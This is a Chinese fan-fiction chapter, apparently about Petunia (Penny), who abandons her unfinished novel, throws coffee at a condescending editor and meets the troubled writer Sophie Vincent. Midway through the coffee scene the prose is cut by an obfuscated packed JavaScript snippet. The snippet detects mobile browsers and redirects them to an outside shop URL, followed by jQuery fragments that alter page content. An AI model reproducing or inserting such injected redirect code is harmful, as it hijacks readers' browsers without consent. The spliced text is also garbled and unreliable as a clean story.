一只手扼住佩妮的喉咙。


    痛苦。


    将笔抵在自己的胸口，希望链接胸中那汹涌的情绪和笔下空空如也的白纸。可直到笔盖的尖头戳得她心口的皮肤发疼，那些澎湃情绪也无法成功流淌到她的笔下。


    写在白纸上的每一笔都十分生涩，就像机器磨损很久的零件在艰难地维持运转。


    把那份文稿扔出去。


    佩妮抓起桌面上的文稿，一把扔向了窗户。


    扔出去，扔出窗外，扔出这栋公寓，扔出这条街道，扔出伦敦，扔出英国。


    远远的，永远不要再看见它。


    倘若它不幸地砸到了哪位路过的倒霉蛋头上——那说明这位倒霉蛋足够幸运，偏偏选择在这个时间点经过佩妮公寓的楼下，有幸被那本含着她满腔怒火和遗憾的手稿砸中。


    那位倒霉蛋可能会一手吃痛地捂住头颅，一手捧着那本找不到主人的手稿，怒目四瞪，试图寻找这本手稿的主人。


    此时他也许会突然意识到，这本砸到他脑门的东西是一本小说手稿，一本未出版的小说手稿。


    也许是哪位名家的作品，好奇心会冲淡他的怒火，于是这个倒霉蛋站在原地，捧着那本罪恶的小说开始读了起来。


    哈，读不上两页他就发现这本手稿根本就不出自名家之手，而是由三三两两前言不搭后语，没有逻辑，没有意义的句子组成的狗屁不通的东西。


    他上当受骗啦。


    既砸中了他的脑袋，给他带来了物理意义上的伤害，又辜负了他的期待，浪费了他的时间，给他造成了心理上的损失。


    他会把这本手稿送去它应去的地方——街边的黑色垃圾桶。


    这样也挺好。


    佩妮抱着自己的脑袋想象着以上的场景。


    但那本手稿既不会飞出英国，也不会被塞进垃圾桶，那本文稿撞在窗户玻璃上，砸出一道浅浅的白印，便弹回了书桌上，撞在了佩妮撑在书桌上的手肘。


    除了给佩妮的手肘造成一道红痕的伤害外，这里没有任何物品受到了损伤。


    至于玻璃——别担心，德思礼为她请来了装修队，将她这一居室的玻璃都统统都改装成了钢化玻璃。现在只要她愿意，没有活物能从这间小小的安全的房间逃出去。


    文稿静静地躺在书桌上看着她，隐约露出一张嘲讽的脸，嘲笑她的徒劳无功。


    打开窗户，摸出一根女士香烟。


    室内亮起一撮小小的跳动的火苗，随后一股弯弯曲曲的白烟从佩妮左手的食指和中指间袅袅升起。


    咔哒一声，打火机的盖子吞没那簇小小的火苗，听起来像一声叹息。


    “这本小说没有结局，佩妮。”玛莎快速翻阅着那本手稿，直到最后一页。她的目光停在佩妮的手稿上，眉头越蹙越高，一双看着佩妮的眼睛既哀又怨，“你给了我一本没有完成的小说。”


    “是啊。”佩妮毫不客气的说，她歪坐在玛莎对面的椅子上，右手撑着椅背，手掌托着下巴，眼神斜睨着玛莎，语气带着一丝报复性的快感：“我只能写出这种水平的东西了，这就是我这两个月的成果。”


    她看着玛莎疲惫的面容，听着出版社往来的人声，打字机的轰鸣，她心里产生一丝隐隐的愧疚，但这愧疚很快被一种报复性的快感所吞没，她就任由这样一条分泌毒液麻痹神经的蛇一口一口吞噬她的内心。


    玛莎重新把手稿翻到第一页，她的目光沉浸了进去。佩妮趁此机会一鼓作气的说：“我现在确认我没有什么写作的天赋了。写来写去都是那些单词，那些内容，我累了，所以就这样吧。”


    她下了断绝书，这本写到一半就放弃的小说是她给玛莎的答案。


    没有结尾的小说，永远不会被出版的小说。


    玛莎既不抬头也不回话，她的目光只是钉在佩妮的手稿上。


    “我走了。”佩妮撇了撇嘴，头也不回地离开了那家出版社。


    她永远也不会再回来这里了。


    天气逐渐转热，佩妮穿一条浅鹅黄的连衣裙坐在美发店里，头上罩着一个钟形罩似的烫发仪器，将手上那本时尚杂志翻来覆去地看。


    烫发的时间总是又久又无聊，但没办法，她需要收拾好自己去赴德思礼的晚宴。


    余光一瞥，靠近窗台美甲区域的位置坐下了两名女士。


    其中一位头上别着一颗夸张的红色樱桃发卡，坐在她旁边的是一位脖子上系着黄色丝巾的瘦高女士。


    “P.E写了一篇新的小说。”樱桃发卡对黄色丝巾说。


    佩妮翻动时尚杂志的手一顿。


    “我知道P.E，”黄色丝巾说，她看起来是一位专业的读者，“她写在那些报纸上的小说我也看过，来来去去都是那些内容。内容老套又无聊，她的文笔有时夸张，有时词不达意，看起来没有受过专业的写作训练，有些地方写得根本让人无法理解。”


    “不一样，这次的故事不一样。”樱桃发卡强调。


    “奥黛丽过着按部就班的生活，有一天在自己的衣柜里看见了那双被遗忘的破旧芭蕾舞鞋。”


    “奥黛丽想起来自己儿时的梦想是成为一名芭蕾舞演员。于是趁丈夫上班，孩子上学，奥黛丽穿上那双舞鞋，对着镜子举起了自己的双手，试图重新找回自己的记忆。”


    “可是跳着跳着，奥黛丽停下了自己的动作，她突然想起来这双芭蕾舞鞋不是她的，她从来没有学过跳舞，她小时候发誓要成为的是画家、作家、宇航员、数学家，唯独不是芭蕾舞演员。”


    “于是在某一天，奥黛丽的丈夫和儿子回到家，发现奥黛丽消失了。”


    “后来呢？”


    “没有了。”


    “没有了？”


    “嗯，这就是结尾，奥黛丽彻底消失了，甚至把她存在的任何痕迹都抹掉了。”*


    “这篇故事有什么不一样？”


    “它就是不一样，因为，因为……”说到这，樱桃发卡的声音里带上了一点颤抖，“因为我真的有一双芭蕾舞鞋。”


    “你好！”佩妮急不可耐地举起她的手，唤来为她做造型的那位姑娘：“把这个玩意儿从我头上取下去。”她指了指自己头上的罩子。


    “嘿小姐，这还没有到时间呢。”那姑娘面露难色，狐疑的目光看着佩妮，“头发已经做到一半了，这是无法退钱的。”


    看着佩妮的神情，她再次强调：“您的头发要是出现任何问题，自行负责，我们可不予理赔。”


    “我、知、道——”佩妮拉长了自己的语调，指着自己的头相当，“正是因为我已经付款了，现在、立刻把这个东西，从我的头上拿下去。”


    顾不得仍在发烫，佩妮把绑在自己头发上的卷发棒一个一个拆下来，几个卷发棒缠在了她的发尾，她一把扯下来，连同她的头发，胡乱地扔到了一旁。


    她怒气冲冲地走在街道上，迎面走来的人群目光纷纷落在她的身上，她的头发上，但她根本管不上这些。


    她一把推开出版社的大门，径自走到最里面的一行。


    “那是一本未完成的小说！”佩妮说。


    玛莎的视线茫然地工作台后抬起来，等她看清佩妮的样子，她的眉头第一次完全舒展开来，但她克制住了自己的表情，用一种听起来相当轻快的语气对佩妮说：“不是所有的小说都需要一个结尾。”


    佩妮不想吸引大家的注意，她将玛莎工作台旁边的凳子拉出来，坐到上面，用只有她和玛莎能听到的声音小声跟玛莎理论：“写到一半，没有完成的小说根本就不应该被刊登到报纸上。”


    她涂着鲜红指甲油的食指指尖愤怒地戳着玛莎的书桌。


    “我才是编辑，一篇小说能不能被发表，是由我决定的。”


    “奥黛丽去哪里了？”


    “我不知道，”佩妮语气僵硬，“她就这么消失了。”


    “玛莎。”那名男编辑的声音从佩妮身后传来，她扭头，看见沃特斯端着一个空咖啡杯，向玛莎走来，“能麻烦你给我倒一杯咖啡吗？”


    玛莎抬头看着沃特斯，她的眉头重新蹙起来：“嘿，等等，沃特斯，我在工作。”


    “工作？哈，我知道，”沃特斯满不在意地耸耸肩，“但很快的，就一杯咖啡的功夫。”


    佩妮突然意识到沃特斯没有发现她，她缩在玛莎的办公桌这儿，工作挡板拦住了她的身影。


    “嘿，沃特斯，你没看到吗，我这儿……”玛莎还想说什么，但这时佩妮站了起来，暴露在了沃特斯的视线里，玛莎没有拉住她。


    “一杯咖啡？”佩妮对沃特斯说。


    面对着突然冒出来的人，沃特斯微微瞪大了他的眼睛，他的视线先落在佩妮那条价值不菲的连衣裙上，她颈部的珍珠项链，随后落在了她的头发上，他看起来一时间不知道该用什么样的表情和态度面对佩妮。


    但佩妮知道沃特斯又没认出她来，他似乎总是凭借衣服，来认出面前的人是谁。


    “一杯咖啡？”见沃特斯没有反应，佩妮重复了一下自己的话语，她的声音很甜美，“我们经常为客人准备咖啡。”


    玛莎站起来试图阻止，但佩妮把她轻轻拨到了一边。


    “一杯咖啡。”沃特斯反应过来了，脸上露出玩味的笑，撅起他的嘴角，将手中的咖啡杯递给了佩妮，“两杯浓缩，加奶加糖。”


    佩妮接过沃特斯手上的咖啡杯，走到咖啡机前面，身后跟着一脸玩味的沃特斯，和高高蹙着眉头的玛莎。


    有人开始望向这边。


    玛莎试图拿走佩妮手中的咖啡杯，但佩妮偏过身体，躲开了她的手。


    她观察了一下那部咖啡机，按照她的经验，在咖啡机下面的柜子里找到了糖和奶，从容不迫地按照沃特斯的要求为他准备了一杯咖啡。


    沃特斯看起来满意极了，他笑眯眯地对佩妮伸出了手。


    佩妮也对他露出一个微笑。


    然后将那杯咖啡泼到了沃特斯的脸上。


    出版社安静下来，好像连打字机的声音都停止了。


    棕色的液体从沃特斯的脸上、鼻子上、耳朵上滴下来，滴在他的白衬衫、


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656786|177776||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    黑皮鞋上，滴在出版社的瓷砖地板上。


    全世界只有佩妮在动，在说话，她从自己的包里掏出一张银行卡——同德思礼的相处，她也了解了一些信息，她为自己办了一张银行卡，艾丽卡离职后，她一直在干着两人份的活，但格朗宁公司也慷慨地为她加了薪。


    这张银行卡里是她攒下的所有的钱，她再也不需要将她攒下的钱可笑地存在她那本黑色笔记本里了。


    “你知道的，玛莎小姐，”佩妮把卡塞进了玛莎的手上，“你们出版社，你经手的所有杂志、报纸，我都要订一份，地址……呃，你知道的，就寄到那里去。”


    “还有沃特斯先生的赔偿金额也算在里面。”她说。


    “如果有任何问题，沃特斯先生，你可以随时通过律师向我联系。“


    她走出出版社。


    “嘿，佩妮。”一个女人叫住她。


    佩妮回头。


    电线杆下站着一位穿着牛仔工装裤，头戴鸭舌帽的女人，棕红色没有光泽的头发乱糟糟地压在帽沿下。


    她左手点着一根烟，露出来的手臂瘦削苍白，可以看见下面跳动的青筋。


    佩妮不认得这样的女人。


    “你也在写小说吗？“那女人说，她把香烟扔在电线杆下，抬起她的靴子踩灭了那根香烟。


    又来了，怎么总要有人问她在不在写小说，现在就连街边的路人都要问她一句，你在不在写小说。


    她写不写小说关他们什么事，关这个世界什么事？


    “你是谁？“佩妮梗着自己的脖子说道。


    那个电线杆下的女人把鸭舌帽抬了起来，向她走近。


    随着她越走越近，佩妮在心里倒抽了一口气。


    那是索菲·特拉瑟姆，不不不，索菲·文森特。


    “你也在写小说吗？“她又问了一遍。


    索菲·文森特的步伐有些奇怪，等她走近了，佩妮才赫然发现她小腹隆起，看起来足有七个月那么大。


    “你说你不想生孩子的。”佩妮简直是惊声叫了起来，她讥诮地说：“你的作品就是你的孩子，这就是你沉寂这么久的惊世巨作吗？你的第二部作品，在你的肚子里。”


    索菲却对她露出一抹微笑：“那天你就在排队的人群里对不对。”


    她说不清楚这一刻涌上她心头的感觉，她只觉得她被这个世界愚弄，嘲讽，践踏在脚下：“那你，伟大的作家，索菲·文森特，那天为什么好像没有看见我一样。”


    “她骗了我。”索菲没有回答她，自顾自地说道，“她骗了我。”


    “谁骗了你？”


    “阿加莎，”索菲说，“特拉瑟姆不是我父亲的名字，是我母亲养父母的姓氏。她骗我说我父亲死了，他根本没有死，他在伦敦活得好好的，养了前前妻、前妻和现任妻子的三个孩子，在电视上看见我，托人辗转找到我，让我拯救自己那深陷债务、药物依赖的可怜父亲。”


    “文森特把他赶了出去，禁止他再同我见面。”


    “文森特是爱我的，我也爱他。“


    “但是为什么，他还要同她在一起呢？”


    ”我想要他的爱，我想要漂亮的大房子，我想要漂亮的衣服，我想要许诺，我想要自由，我想要我的书被人看见，我想要我被人看见。”


    “他说，我太贪心了，我想要的太多了。”


    “他说他对生活没有要求，他只想要一个孩子，所以我妥协了，这个孩子。”


    “我想要的很多吗？”


    艾玛，想要很多的艾玛。


    在修道院阅读爱情小说的艾玛。


    既想去巴黎，也想去死的艾玛。


    她的空虚。


    她过多的欲望。


    她活该。


    为自己的欲望，她罪有应得。


    “你在写小说吗？”索菲问。


    她的视线落在佩妮的珍珠项链上，落在佩妮的昂贵连衣裙上。


    “你还在写小说吗？”她逼近她。


    理智的线在脑海里崩裂开。


    “那你还在写小说吗？”佩妮反唇相讥。


    “他不是一开始就这样的。”


    “不，他一开始就是这样！”佩妮尖叫起来，“把你推在墙上，他把你塞进计程车里，你跟他义无反顾地走了，一点也没有回头。”


    “这是你自己的选择！“佩妮大叫。


    “我有得选吗？”索菲看着她，那双失去光泽的美丽的眼睛瞪得大大的，“你又有的选吗？”


    佩妮的胸膛起伏得厉害。在她的视线里，索菲怒气冲冲地冲过来，佩妮以为她要打自己，她举起手臂格挡在自己的面前。


    索菲只是一把抱住了她。


    “别停下来。“她在佩妮的耳边小声说。


    佩妮抬头看着阴沉沉的，仿佛离她很近的天空。


    “艾玛……”她想说的话卡在嗓子里。


    “什么艾玛？“索菲松开了手，视线落在佩妮的头发上。


    “你那跟松狮犬一样的头发是怎么一回事？”